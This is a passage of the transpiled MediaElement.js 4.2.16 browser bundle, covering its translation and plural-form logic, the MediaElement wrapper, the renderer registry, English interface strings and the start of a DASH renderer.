i18n.language = function () { for (var _len = arguments.length, args = Array(_len), _key = 0; _key < _len; _key++) { args[_key] = arguments[_key]; } if (args !== null && args !== undefined && args.length) { if (typeof args[0] !== 'string') { throw new TypeError('Language code must be a string value'); } if (!/^[a-z]{2,3}((\-|_)[a-z]{2})?$/i.test(args[0])) { throw new TypeError('Language code must have format 2-3 letters and. optionally, hyphen, underscore followed by 2 more letters'); } i18n.lang = args[0]; if (i18n[args[0]] === undefined) { args[1] = args[1] !== null && args[1] !== undefined && _typeof(args[1]) === 'object' ? args[1] : {}; i18n[args[0]] = !(0, _general.isObjectEmpty)(args[1]) ? args[1] : _en.EN; } else if (args[1] !== null && args[1] !== undefined && _typeof(args[1]) === 'object') { i18n[args[0]] = args[1]; } } return i18n.lang; }; i18n.t = function (message) { var pluralParam = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : null; if (typeof message === 'string' && message.length) { var str = void 0, pluralForm = void 0; var language = i18n.language(); var _plural = function _plural(input, number, form) { if ((typeof input === 'undefined' ? 'undefined' : _typeof(input)) !== 'object' || typeof number !== 'number' || typeof form !== 'number') { return input; } var _pluralForms = function () { return [function () { return arguments.length <= 1 ? undefined : arguments[1]; }, function () { return (arguments.length <= 0 ? undefined : arguments[0]) === 1 ? arguments.length <= 1 ? undefined : arguments[1] : arguments.length <= 2 ? undefined : arguments[2]; }, function () { return (arguments.length <= 0 ? undefined : arguments[0]) === 0 || (arguments.length <= 0 ? undefined : arguments[0]) === 1 ? arguments.length <= 1 ? undefined : arguments[1] : arguments.length <= 2 ? undefined : arguments[2]; }, function () { if ((arguments.length <= 0 ? undefined : arguments[0]) % 10 === 1 && (arguments.length <= 0 ? undefined : arguments[0]) % 100 !== 11) { return arguments.length <= 1 ? undefined : arguments[1]; } else if ((arguments.length <= 0 ? undefined : arguments[0]) !== 0) { return arguments.length <= 2 ? undefined : arguments[2]; } else { return arguments.length <= 3 ? undefined : arguments[3]; } }, function () { if ((arguments.length <= 0 ? undefined : arguments[0]) === 1 || (arguments.length <= 0 ? undefined : arguments[0]) === 11) { return arguments.length <= 1 ? undefined : arguments[1]; } else if ((arguments.length <= 0 ? undefined : arguments[0]) === 2 || (arguments.length <= 0 ? undefined : arguments[0]) === 12) { return arguments.length <= 2 ? undefined : arguments[2]; } else if ((arguments.length <= 0 ? undefined : arguments[0]) > 2 && (arguments.length <= 0 ? undefined : arguments[0]) < 20) { return arguments.length <= 3 ? undefined : arguments[3]; } else { return arguments.length <= 4 ? undefined : arguments[4]; } }, function () { if ((arguments.length <= 0 ? undefined : arguments[0]) === 1) { return arguments.length <= 1 ? undefined : arguments[1]; } else if ((arguments.length <= 0 ? undefined : arguments[0]) === 0 || (arguments.length <= 0 ? undefined : arguments[0]) % 100 > 0 && (arguments.length <= 0 ? undefined : arguments[0]) % 100 < 20) { return arguments.length <= 2 ? undefined : arguments[2]; } else { return arguments.length <= 3 ? undefined : arguments[3]; } }, function () { if ((arguments.length <= 0 ? undefined : arguments[0]) % 10 === 1 && (arguments.length <= 0 ? undefined : arguments[0]) % 100 !== 11) { return arguments.length <= 1 ? undefined : arguments[1]; } else if ((arguments.length <= 0 ? undefined : arguments[0]) % 10 >= 2 && ((arguments.length <= 0 ? undefined : arguments[0]) % 100 < 10 || (arguments.length <= 0 ? undefined : arguments[0]) % 100 >= 20)) { return arguments.length <= 2 ? undefined : arguments[2]; } else { return [3]; } }, function () { if ((arguments.length <= 0 ? undefined : arguments[0]) % 10 === 1 && (arguments.length <= 0 ? undefined : arguments[0]) % 100 !== 11) { return arguments.length <= 1 ? undefined : arguments[1]; } else if ((arguments.length <= 0 ? undefined : arguments[0]) % 10 >= 2 && (arguments.length <= 0 ? undefined : arguments[0]) % 10 <= 4 && ((arguments.length <= 0 ? undefined : arguments[0]) % 100 < 10 || (arguments.length <= 0 ? undefined : arguments[0]) % 100 >= 20)) { return arguments.length <= 2 ? undefined : arguments[2]; } else { return arguments.length <= 3 ? undefined : arguments[3]; } }, function () { if ((arguments.length <= 0 ? undefined : arguments[0]) === 1) { return arguments.length <= 1 ? undefined : arguments[1]; } else if ((arguments.length <= 0 ? undefined : arguments[0]) >= 2 && (arguments.length <= 0 ? undefined : arguments[0]) <= 4) { return arguments.length <= 2 ? undefined : arguments[2]; } else { return arguments.length <= 3 ? undefined : arguments[3]; } }, function () { if ((arguments.length <= 0 ? undefined : arguments[0]) === 1) { return arguments.length <= 1 ? undefined : arguments[1]; } else if ((arguments.length <= 0 ? undefined : arguments[0]) % 10 >= 2 && (arguments.length <= 0 ? undefined : arguments[0]) % 10 <= 4 && ((arguments.length <= 0 ? undefined : arguments[0]) % 100 < 10 || (arguments.length <= 0 ? undefined : arguments[0]) % 100 >= 20)) { return arguments.length <= 2 ? undefined : arguments[2]; } else { return arguments.length <= 3 ? undefined : arguments[3]; } }, function () { if ((arguments.length <= 0 ? undefined : arguments[0]) % 100 === 1) { return arguments.length <= 2 ? undefined : arguments[2]; } else if ((arguments.length <= 0 ? undefined : arguments[0]) % 100 === 2) { return arguments.length <= 3 ? undefined : arguments[3]; } else if ((arguments.length <= 0 ? undefined : arguments[0]) % 100 === 3 || (arguments.length <= 0 ? undefined : arguments[0]) % 100 === 4) { return arguments.length <= 4 ? undefined : arguments[4]; } else { return arguments.length <= 1 ? undefined : arguments[1]; } }, function () { if ((arguments.length <= 0 ? undefined : arguments[0]) === 1) { return arguments.length <= 1 ? undefined : arguments[1]; } else if ((arguments.length <= 0 ? undefined : arguments[0]) === 2) { return arguments.length <= 2 ? undefined : arguments[2]; } else if ((arguments.length <= 0 ? undefined : arguments[0]) > 2 && (arguments.length <= 0 ? undefined : arguments[0]) < 7) { return arguments.length <= 3 ? undefined : arguments[3]; } else if ((arguments.length <= 0 ? undefined : arguments[0]) > 6 && (arguments.length <= 0 ? undefined : arguments[0]) < 11) { return arguments.length <= 4 ? undefined : arguments[4]; } else { return arguments.length <= 5 ? undefined : arguments[5]; } }, function () { if ((arguments.length <= 0 ? undefined : arguments[0]) === 0) { return arguments.length <= 1 ? undefined : arguments[1]; } else if ((arguments.length <= 0 ? undefined : arguments[0]) === 1) { return arguments.length <= 2 ? undefined : arguments[2]; } else if ((arguments.length <= 0 ? undefined : arguments[0]) === 2) { return arguments.length <= 3 ? undefined : arguments[3]; } else if ((arguments.length <= 0 ? undefined : arguments[0]) % 100 >= 3 && (arguments.length <= 0 ? undefined : arguments[0]) % 100 <= 10) { return arguments.length <= 4 ? undefined : arguments[4]; } else if ((arguments.length <= 0 ? undefined : arguments[0]) % 100 >= 11) { return arguments.length <= 5 ? undefined : arguments[5]; } else { return arguments.length <= 6 ? undefined : arguments[6]; } }, function () { if ((arguments.length <= 0 ? undefined : arguments[0]) === 1) { return arguments.length <= 1 ? undefined : arguments[1]; } else if ((arguments.length <= 0 ? undefined : arguments[0]) === 0 || (arguments.length <= 0 ? undefined : arguments[0]) % 100 > 1 && (arguments.length <= 0 ? undefined : arguments[0]) % 100 < 11) { return arguments.length <= 2 ? undefined : arguments[2]; } else if ((arguments.length <= 0 ? undefined : arguments[0]) % 100 > 10 && (arguments.length <= 0 ? undefined : arguments[0]) % 100 < 20) { return arguments.length <= 3 ? undefined : arguments[3]; } else { return arguments.length <= 4 ? undefined : arguments[4]; } }, function () { if ((arguments.length <= 0 ? undefined : arguments[0]) % 10 === 1) { return arguments.length <= 1 ? undefined : arguments[1]; } else if ((arguments.length <= 0 ? undefined : arguments[0]) % 10 === 2) { return arguments.length <= 2 ? undefined : arguments[2]; } else { return arguments.length <= 3 ? undefined : arguments[3]; } }, function () { return (arguments.length <= 0 ? undefined : arguments[0]) !== 11 && (arguments.length <= 0 ? undefined : arguments[0]) % 10 === 1 ? arguments.length <= 1 ? undefined : arguments[1] : arguments.length <= 2 ? undefined : arguments[2]; }, function () { if ((arguments.length <= 0 ? undefined : arguments[0]) === 1) { return arguments.length <= 1 ? undefined : arguments[1]; } else if ((arguments.length <= 0 ? undefined : arguments[0]) % 10 >= 2 && (arguments.length <= 0 ? undefined : arguments[0]) % 10 <= 4 && ((arguments.length <= 0 ? undefined : arguments[0]) % 100 < 10 || (arguments.length <= 0 ? undefined : arguments[0]) % 100 >= 20)) { return arguments.length <= 2 ? undefined : arguments[2]; } else { return arguments.length <= 3 ? undefined : arguments[3]; } }, function () { if ((arguments.length <= 0 ? undefined : arguments[0]) === 1) { return arguments.length <= 1 ? undefined : arguments[1]; } else if ((arguments.length <= 0 ? undefined : arguments[0]) === 2) { return arguments.length <= 2 ? undefined : arguments[2]; } else if ((arguments.length <= 0 ? undefined : arguments[0]) !== 8 && (arguments.length <= 0 ? undefined : arguments[0]) !== 11) { return arguments.length <= 3 ? undefined : arguments[3]; } else { return arguments.length <= 4 ? undefined : arguments[4]; } }, function () { return (arguments.length <= 0 ? undefined : arguments[0]) === 0 ? arguments.length <= 1 ? undefined : arguments[1] : arguments.length <= 2 ? undefined : arguments[2]; }, function () { if ((arguments.length <= 0 ? undefined : arguments[0]) === 1) { return arguments.length <= 1 ? undefined : arguments[1]; } else if ((arguments.length <= 0 ? undefined : arguments[0]) === 2) { return arguments.length <= 2 ? undefined : arguments[2]; } else if ((arguments.length <= 0 ? undefined : arguments[0]) === 3) { return arguments.length <= 3 ? undefined : arguments[3]; } else { return arguments.length <= 4 ? undefined : arguments[4]; } }, function () { if ((arguments.length <= 0 ? undefined : arguments[0]) === 0) { return arguments.length <= 1 ? undefined : arguments[1]; } else if ((arguments.length <= 0 ? undefined : arguments[0]) === 1) { return arguments.length <= 2 ? undefined : arguments[2]; } else { return arguments.length <= 3 ? undefined : arguments[3]; } }]; }(); return _pluralForms[form].apply(null, [number].concat(input)); }; if (i18n[language] !== undefined) { str = i18n[language][message]; if (pluralParam !== null && typeof pluralParam === 'number') { pluralForm = i18n[language]['mejs.plural-form']; str = _plural.apply(null, [str, pluralParam, pluralForm]); } } if (!str && i18n.en) { str = i18n.en[message]; if (pluralParam !== null && typeof pluralParam === 'number') { pluralForm = i18n.en['mejs.plural-form']; str = _plural.apply(null, [str, pluralParam, pluralForm]); } } str = str || message; if (pluralParam !== null && typeof pluralParam === 'number') { str = str.replace('%1', pluralParam); } return (0, _general.escapeHTML)(str); } return message; }; _mejs2.default.i18n = i18n; if (typeof mejsL10n !== 'undefined') { _mejs2.default.i18n.language(mejsL10n.language, mejsL10n.strings); } exports.default = i18n; },{"18":18,"7":7,"9":9}],6:[function(_dereq_,module,exports){ 'use strict'; Object.defineProperty(exports, "__esModule", { value: true }); var _typeof = typeof Symbol === "function" && typeof Symbol.iterator === "symbol" ? function (obj) { return typeof obj; } : function (obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; var _window = _dereq_(3); var _window2 = _interopRequireDefault(_window); var _document = _dereq_(2); var _document2 = _interopRequireDefault(_document); var _mejs = _dereq_(7); var _mejs2 = _interopRequireDefault(_mejs); var _general = _dereq_(18); var _media2 = _dereq_(19); var _renderer = _dereq_(8); var _constants = _dereq_(16); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } } var MediaElement = function MediaElement(idOrNode, options, sources) { var _this = this; _classCallCheck(this, MediaElement); var t = this; sources = Array.isArray(sources) ? sources : null; t.defaults = { renderers: [], fakeNodeName: 'mediaelementwrapper', pluginPath: 'build/', shimScriptAccess: 'sameDomain' }; options = Object.assign(t.defaults, options); t.mediaElement = _document2.default.createElement(options.fakeNodeName); var id = idOrNode, error = false; if (typeof idOrNode === 'string') { t.mediaElement.originalNode = _document2.default.getElementById(idOrNode); } else { t.mediaElement.originalNode = idOrNode; id = idOrNode.id; } if (t.mediaElement.originalNode === undefined || t.mediaElement.originalNode === null) { return null; } t.mediaElement.options = options; id = id || 'mejs_' + Math.random().toString().slice(2); t.mediaElement.originalNode.setAttribute('id', id + '_from_mejs'); var tagName = t.mediaElement.originalNode.tagName.toLowerCase(); if (['video', 'audio'].indexOf(tagName) > -1 && !t.mediaElement.originalNode.getAttribute('preload')) { t.mediaElement.originalNode.setAttribute('preload', 'none'); } t.mediaElement.originalNode.parentNode.insertBefore(t.mediaElement, t.mediaElement.originalNode); t.mediaElement.appendChild(t.mediaElement.originalNode); var processURL = function processURL(url, type) { if (_window2.default.location.protocol === 'https:' && url.indexOf('http:') === 0 && _constants.IS_IOS && _mejs2.default.html5media.mediaTypes.indexOf(type) > -1) { var xhr = new XMLHttpRequest(); xhr.onreadystatechange = function () { if (this.readyState === 4 && this.status === 200) { var _url = _window2.default.URL || _window2.default.webkitURL, blobUrl = _url.createObjectURL(this.response); t.mediaElement.originalNode.setAttribute('src', blobUrl); return blobUrl; } return url; }; xhr.open('GET', url); xhr.responseType = 'blob'; xhr.send(); } return url; }; var mediaFiles = void 0; if (sources !== null) { mediaFiles = sources; } else if (t.mediaElement.originalNode !== null) { mediaFiles = []; switch (t.mediaElement.originalNode.nodeName.toLowerCase()) { case 'iframe': mediaFiles.push({ type: '', src: t.mediaElement.originalNode.getAttribute('src') }); break; case 'audio': case 'video': var _sources = t.mediaElement.originalNode.children.length, nodeSource = t.mediaElement.originalNode.getAttribute('src'); if (nodeSource) { var node = t.mediaElement.originalNode, type = (0, _media2.formatType)(nodeSource, node.getAttribute('type')); mediaFiles.push({ type: type, src: processURL(nodeSource, type) }); } for (var i = 0; i < _sources; i++) { var n = t.mediaElement.originalNode.children[i]; if (n.tagName.toLowerCase() === 'source') { var src = n.getAttribute('src'), _type = (0, _media2.formatType)(src, n.getAttribute('type')); mediaFiles.push({ type: _type, src: processURL(src, _type) }); } } break; } } t.mediaElement.id = id; t.mediaElement.renderers = {}; t.mediaElement.events = {}; t.mediaElement.promises = []; t.mediaElement.renderer = null; t.mediaElement.rendererName = null; t.mediaElement.changeRenderer = function (rendererName, mediaFiles) { var t = _this, media = Object.keys(mediaFiles[0]).length > 2 ? mediaFiles[0] : mediaFiles[0].src; if (t.mediaElement.renderer !== undefined && t.mediaElement.renderer !== null && t.mediaElement.renderer.name === rendererName) { t.mediaElement.renderer.pause(); if (t.mediaElement.renderer.stop) { t.mediaElement.renderer.stop(); } t.mediaElement.renderer.show(); t.mediaElement.renderer.setSrc(media); return true; } if (t.mediaElement.renderer !== undefined && t.mediaElement.renderer !== null) { t.mediaElement.renderer.pause(); if (t.mediaElement.renderer.stop) { t.mediaElement.renderer.stop(); } t.mediaElement.renderer.hide(); } var newRenderer = t.mediaElement.renderers[rendererName], newRendererType = null; if (newRenderer !== undefined && newRenderer !== null) { newRenderer.show(); newRenderer.setSrc(media); t.mediaElement.renderer = newRenderer; t.mediaElement.rendererName = rendererName; return true; } var rendererArray = t.mediaElement.options.renderers.length ? t.mediaElement.options.renderers : _renderer.renderer.order; for (var _i = 0, total = rendererArray.length; _i < total; _i++) { var index = rendererArray[_i]; if (index === rendererName) { var rendererList = _renderer.renderer.renderers; newRendererType = rendererList[index]; var renderOptions = Object.assign(newRendererType.options, t.mediaElement.options); newRenderer = newRendererType.create(t.mediaElement, renderOptions, mediaFiles); newRenderer.name = rendererName; t.mediaElement.renderers[newRendererType.name] = newRenderer; t.mediaElement.renderer = newRenderer; t.mediaElement.rendererName = rendererName; newRenderer.show(); return true; } } return false; }; t.mediaElement.setSize = function (width, height) { if (t.mediaElement.renderer !== undefined && t.mediaElement.renderer !== null) { t.mediaElement.renderer.setSize(width, height); } }; t.mediaElement.generateError = function (message, urlList) { message = message || ''; urlList = Array.isArray(urlList) ? urlList : []; var event = (0, _general.createEvent)('error', t.mediaElement); event.message = message; event.urls = urlList; t.mediaElement.dispatchEvent(event); error = true; }; var props = _mejs2.default.html5media.properties, methods = _mejs2.default.html5media.methods, addProperty = function addProperty(obj, name, onGet, onSet) { var oldValue = obj[name]; var getFn = function getFn() { return onGet.apply(obj, [oldValue]); }, setFn = function setFn(newValue) { oldValue = onSet.apply(obj, [newValue]); return oldValue; }; Object.defineProperty(obj, name, { get: getFn, set: setFn }); }, assignGettersSetters = function assignGettersSetters(propName) { if (propName !== 'src') { var capName = '' + propName.substring(0, 1).toUpperCase() + propName.substring(1), getFn = function getFn() { return t.mediaElement.renderer !== undefined && t.mediaElement.renderer !== null && typeof t.mediaElement.renderer['get' + capName] === 'function' ? t.mediaElement.renderer['get' + capName]() : null; }, setFn = function setFn(value) { if (t.mediaElement.renderer !== undefined && t.mediaElement.renderer !== null && typeof t.mediaElement.renderer['set' + capName] === 'function') { t.mediaElement.renderer['set' + capName](value); } }; addProperty(t.mediaElement, propName, getFn, setFn); t.mediaElement['get' + capName] = getFn; t.mediaElement['set' + capName] = setFn; } }, getSrc = function getSrc() { return t.mediaElement.renderer !== undefined && t.mediaElement.renderer !== null ? t.mediaElement.renderer.getSrc() : null; }, setSrc = function setSrc(value) { var mediaFiles = []; if (typeof value === 'string') { mediaFiles.push({ src: value, type: value ? (0, _media2.getTypeFromFile)(value) : '' }); } else if ((typeof value === 'undefined' ? 'undefined' : _typeof(value)) === 'object' && value.src !== undefined) { var _src = (0, _media2.absolutizeUrl)(value.src), _type2 = value.type, media = Object.assign(value, { src: _src, type: (_type2 === '' || _type2 === null || _type2 === undefined) && _src ? (0, _media2.getTypeFromFile)(_src) : _type2 }); mediaFiles.push(media); } else if (Array.isArray(value)) { for (var _i2 = 0, total = value.length; _i2 < total; _i2++) { var _src2 = (0, _media2.absolutizeUrl)(value[_i2].src), _type3 = value[_i2].type, _media = Object.assign(value[_i2], { src: _src2, type: (_type3 === '' || _type3 === null || _type3 === undefined) && _src2 ? (0, _media2.getTypeFromFile)(_src2) : _type3 }); mediaFiles.push(_media); } } var renderInfo = _renderer.renderer.select(mediaFiles, t.mediaElement.options.renderers.length ? t.mediaElement.options.renderers : []), event = void 0; if (!t.mediaElement.paused && !(t.mediaElement.src == null || t.mediaElement.src === '')) { t.mediaElement.pause(); event = (0, _general.createEvent)('pause', t.mediaElement); t.mediaElement.dispatchEvent(event); } t.mediaElement.originalNode.src = mediaFiles[0].src || ''; if (renderInfo === null && mediaFiles[0].src) { t.mediaElement.generateError('No renderer found', mediaFiles); return; } var shouldChangeRenderer = !(mediaFiles[0].src == null || mediaFiles[0].src === ''); return shouldChangeRenderer ? t.mediaElement.changeRenderer(renderInfo.rendererName, mediaFiles) : null; }, triggerAction = function triggerAction(methodName, args) { try { if (methodName === 'play' && (t.mediaElement.rendererName === 'native_dash' || t.mediaElement.rendererName === 'native_hls' || t.mediaElement.rendererName === 'vimeo_iframe')) { var response = t.mediaElement.renderer[methodName](args); if (response && typeof response.then === 'function') { response.catch(function () { if (t.mediaElement.paused) { setTimeout(function () { var tmpResponse = t.mediaElement.renderer.play(); if (tmpResponse !== undefined) { tmpResponse.catch(function () { if (!t.mediaElement.renderer.paused) { t.mediaElement.renderer.pause(); } }); } }, 150); } }); } } else { t.mediaElement.renderer[methodName](args); } } catch (e) { t.mediaElement.generateError(e, mediaFiles); } }, assignMethods = function assignMethods(methodName) { t.mediaElement[methodName] = function () { for (var _len = arguments.length, args = Array(_len), _key = 0; _key < _len; _key++) { args[_key] = arguments[_key]; } if (t.mediaElement.renderer !== undefined && t.mediaElement.renderer !== null && typeof t.mediaElement.renderer[methodName] === 'function') { if (t.mediaElement.promises.length) { Promise.all(t.mediaElement.promises).then(function () { triggerAction(methodName, args); }).catch(function (e) { t.mediaElement.generateError(e, mediaFiles); }); } else { triggerAction(methodName, args); } } return null; }; }; addProperty(t.mediaElement, 'src', getSrc, setSrc); t.mediaElement.getSrc = getSrc; t.mediaElement.setSrc = setSrc; for (var _i3 = 0, total = props.length; _i3 < total; _i3++) { assignGettersSetters(props[_i3]); } for (var _i4 = 0, _total = methods.length; _i4 < _total; _i4++) { assignMethods(methods[_i4]); } t.mediaElement.addEventListener = function (eventName, callback) { t.mediaElement.events[eventName] = t.mediaElement.events[eventName] || []; t.mediaElement.events[eventName].push(callback); }; t.mediaElement.removeEventListener = function (eventName, callback) { if (!eventName) { t.mediaElement.events = {}; return true; } var callbacks = t.mediaElement.events[eventName]; if (!callbacks) { return true; } if (!callback) { t.mediaElement.events[eventName] = []; return true; } for (var _i5 = 0; _i5 < callbacks.length; _i5++) { if (callbacks[_i5] === callback) { t.mediaElement.events[eventName].splice(_i5, 1); return true; } } return false; }; t.mediaElement.dispatchEvent = function (event) { var callbacks = t.mediaElement.events[event.type]; if (callbacks) { for (var _i6 = 0; _i6 < callbacks.length; _i6++) { callbacks[_i6].apply(null, [event]); } } }; t.mediaElement.destroy = function () { var mediaElement = t.mediaElement.originalNode.cloneNode(true); var wrapper = t.mediaElement.parentElement; mediaElement.removeAttribute('id'); mediaElement.remove(); t.mediaElement.remove(); wrapper.appendChild(mediaElement); }; if (mediaFiles.length) { t.mediaElement.src = mediaFiles; } if (t.mediaElement.promises.length) { Promise.all(t.mediaElement.promises).then(function () { if (t.mediaElement.options.success) { t.mediaElement.options.success(t.mediaElement, t.mediaElement.originalNode); } }).catch(function () { if (error && t.mediaElement.options.error) { t.mediaElement.options.error(t.mediaElement, t.mediaElement.originalNode); } }); } else { if (t.mediaElement.options.success) { t.mediaElement.options.success(t.mediaElement, t.mediaElement.originalNode); } if (error && t.mediaElement.options.error) { t.mediaElement.options.error(t.mediaElement, t.mediaElement.originalNode); } } return t.mediaElement; }; _window2.default.MediaElement = MediaElement; _mejs2.default.MediaElement = MediaElement; exports.default = MediaElement; },{"16":16,"18":18,"19":19,"2":2,"3":3,"7":7,"8":8}],7:[function(_dereq_,module,exports){ 'use strict'; Object.defineProperty(exports, "__esModule", { value: true }); var _window = _dereq_(3); var _window2 = _interopRequireDefault(_window); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } var mejs = {}; mejs.version = '4.2.16'; mejs.html5media = { properties: ['volume', 'src', 'currentTime', 'muted', 'duration', 'paused', 'ended', 'buffered', 'error', 'networkState', 'readyState', 'seeking', 'seekable', 'currentSrc', 'preload', 'bufferedBytes', 'bufferedTime', 'initialTime', 'startOffsetTime', 'defaultPlaybackRate', 'playbackRate', 'played', 'autoplay', 'loop', 'controls'], readOnlyProperties: ['duration', 'paused', 'ended', 'buffered', 'error', 'networkState', 'readyState', 'seeking', 'seekable'], methods: ['load', 'play', 'pause', 'canPlayType'], events: ['loadstart', 'durationchange', 'loadedmetadata', 'loadeddata', 'progress', 'canplay', 'canplaythrough', 'suspend', 'abort', 'error', 'emptied', 'stalled', 'play', 'playing', 'pause', 'waiting', 'seeking', 'seeked', 'timeupdate', 'ended', 'ratechange', 'volumechange'], mediaTypes: ['audio/mp3', 'audio/ogg', 'audio/oga', 'audio/wav', 'audio/x-wav', 'audio/wave', 'audio/x-pn-wav', 'audio/mpeg', 'audio/mp4', 'video/mp4', 'video/webm', 'video/ogg', 'video/ogv'] }; _window2.default.mejs = mejs; exports.default = mejs; },{"3":3}],8:[function(_dereq_,module,exports){ 'use strict'; Object.defineProperty(exports, "__esModule", { value: true }); exports.renderer = undefined; var _typeof = typeof Symbol === "function" && typeof Symbol.iterator === "symbol" ? function (obj) { return typeof obj; } : function (obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }(); var _mejs = _dereq_(7); var _mejs2 = _interopRequireDefault(_mejs); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } } var Renderer = function () { function Renderer() { _classCallCheck(this, Renderer); this.renderers = {}; this.order = []; } _createClass(Renderer, [{ key: 'add', value: function add(renderer) { if (renderer.name === undefined) { throw new TypeError('renderer must contain at least `name` property'); } this.renderers[renderer.name] = renderer; this.order.push(renderer.name); } }, { key: 'select', value: function select(mediaFiles) { var renderers = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : []; var renderersLength = renderers.length; renderers = renderers.length ? renderers : this.order; if (!renderersLength) { var rendererIndicator = [/^(html5|native)/i, /^flash/i, /iframe$/i], rendererRanking = function rendererRanking(renderer) { for (var i = 0, total = rendererIndicator.length; i < total; i++) { if (rendererIndicator[i].test(renderer)) { return i; } } return rendererIndicator.length; }; renderers.sort(function (a, b) { return rendererRanking(a) - rendererRanking(b); }); } for (var i = 0, total = renderers.length; i < total; i++) { var key = renderers[i], _renderer = this.renderers[key]; if (_renderer !== null && _renderer !== undefined) { for (var j = 0, jl = mediaFiles.length; j < jl; j++) { if (typeof _renderer.canPlayType === 'function' && typeof mediaFiles[j].type === 'string' && _renderer.canPlayType(mediaFiles[j].type)) { return { rendererName: _renderer.name, src: mediaFiles[j].src }; } } } } return null; } }, { key: 'order', set: function set(order) { if (!Array.isArray(order)) { throw new TypeError('order must be an array of strings.'); } this._order = order; }, get: function get() { return this._order; } }, { key: 'renderers', set: function set(renderers) { if (renderers !== null && (typeof renderers === 'undefined' ? 'undefined' : _typeof(renderers)) !== 'object') { throw new TypeError('renderers must be an array of objects.'); } this._renderers = renderers; }, get: function get() { return this._renderers; } }]); return Renderer; }(); var renderer = exports.renderer = new Renderer(); _mejs2.default.Renderers = renderer; },{"7":7}],9:[function(_dereq_,module,exports){ 'use strict'; Object.defineProperty(exports, "__esModule", { value: true }); var EN = exports.EN = { 'mejs.plural-form': 1, 'mejs.download-file': 'Download File', 'mejs.install-flash': 'You are using a browser that does not have Flash player enabled or installed. Please turn on your Flash player plugin or download the latest version from https://get.adobe.com/flashplayer/', 'mejs.fullscreen': 'Fullscreen', 'mejs.play': 'Play', 'mejs.pause': 'Pause', 'mejs.time-slider': 'Time Slider', 'mejs.time-help-text': 'Use Left/Right Arrow keys to advance one second, Up/Down arrows to advance ten seconds.', 'mejs.live-broadcast': 'Live Broadcast', 'mejs.volume-help-text': 'Use Up/Down Arrow keys to increase or decrease volume.', 'mejs.unmute': 'Unmute', 'mejs.mute': 'Mute', 'mejs.volume-slider': 'Volume Slider', 'mejs.video-player': 'Video Player', 'mejs.audio-player': 'Audio Player', 'mejs.captions-subtitles': 'Captions/Subtitles', 'mejs.captions-chapters': 'Chapters', 'mejs.none': 'None', 'mejs.afrikaans': 'Afrikaans', 'mejs.albanian': 'Albanian', 'mejs.arabic': 'Arabic', 'mejs.belarusian': 'Belarusian', 'mejs.bulgarian': 'Bulgarian', 'mejs.catalan': 'Catalan', 'mejs.chinese': 'Chinese', 'mejs.chinese-simplified': 'Chinese (Simplified)', 'mejs.chinese-traditional': 'Chinese (Traditional)', 'mejs.croatian': 'Croatian', 'mejs.czech': 'Czech', 'mejs.danish': 'Danish', 'mejs.dutch': 'Dutch', 'mejs.english': 'English', 'mejs.estonian': 'Estonian', 'mejs.filipino': 'Filipino', 'mejs.finnish': 'Finnish', 'mejs.french': 'French', 'mejs.galician': 'Galician', 'mejs.german': 'German', 'mejs.greek': 'Greek', 'mejs.haitian-creole': 'Haitian Creole', 'mejs.hebrew': 'Hebrew', 'mejs.hindi': 'Hindi', 'mejs.hungarian': 'Hungarian', 'mejs.icelandic': 'Icelandic', 'mejs.indonesian': 'Indonesian', 'mejs.irish': 'Irish', 'mejs.italian': 'Italian', 'mejs.japanese': 'Japanese', 'mejs.korean': 'Korean', 'mejs.latvian': 'Latvian', 'mejs.lithuanian': 'Lithuanian', 'mejs.macedonian': 'Macedonian', 'mejs.malay': 'Malay', 'mejs.maltese': 'Maltese', 'mejs.norwegian': 'Norwegian', 'mejs.persian': 'Persian', 'mejs.polish': 'Polish', 'mejs.portuguese': 'Portuguese', 'mejs.romanian': 'Romanian', 'mejs.russian': 'Russian', 'mejs.serbian': 'Serbian', 'mejs.slovak': 'Slovak', 'mejs.slovenian': 'Slovenian', 'mejs.spanish': 'Spanish', 'mejs.swahili': 'Swahili', 'mejs.swedish': 'Swedish', 'mejs.tagalog': 'Tagalog', 'mejs.thai': 'Thai', 'mejs.turkish': 'Turkish', 'mejs.ukrainian': 'Ukrainian', 'mejs.vietnamese': 'Vietnamese', 'mejs.welsh': 'Welsh', 'mejs.yiddish': 'Yiddish' }; },{}],10:[function(_dereq_,module,exports){ 'use strict'; var _typeof = typeof Symbol === "function" && typeof Symbol.iterator === "symbol" ? function (obj) { return typeof obj; } : function (obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; var _window = _dereq_(3); var _window2 = _interopRequireDefault(_window); var _mejs = _dereq_(7); var _mejs2 = _interopRequireDefault(_mejs); var _renderer = _dereq_(8); var _general = _dereq_(18); var _media = _dereq_(19); var _constants = _dereq_(16); var _dom = _dereq_(17); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } var NativeDash = { promise: null, load: function load(settings) { if (typeof dashjs !== 'undefined') { NativeDash.promise = new Promise(function (resolve) { resolve(); }).then(function () { NativeDash._createPlayer(settings); }); } else { settings.options.path = typeof settings.options.path === 'string' ? settings.options.path : 'https://cdn.dashjs.org/latest/dash.all.min.js'; NativeDash.promise = NativeDash.promise || (0, _dom.loadScript)(settings.options.path); NativeDash.promise.then(function () { NativeDash._createPlayer(settings); }); } return NativeDash.promise; }, _createPlayer: function _createPlayer(settings) { var player = dashjs.MediaPlayer().create(); _window2.default['__ready__' + settings.id](player); return player; } }; var DashNativeRenderer = { name: 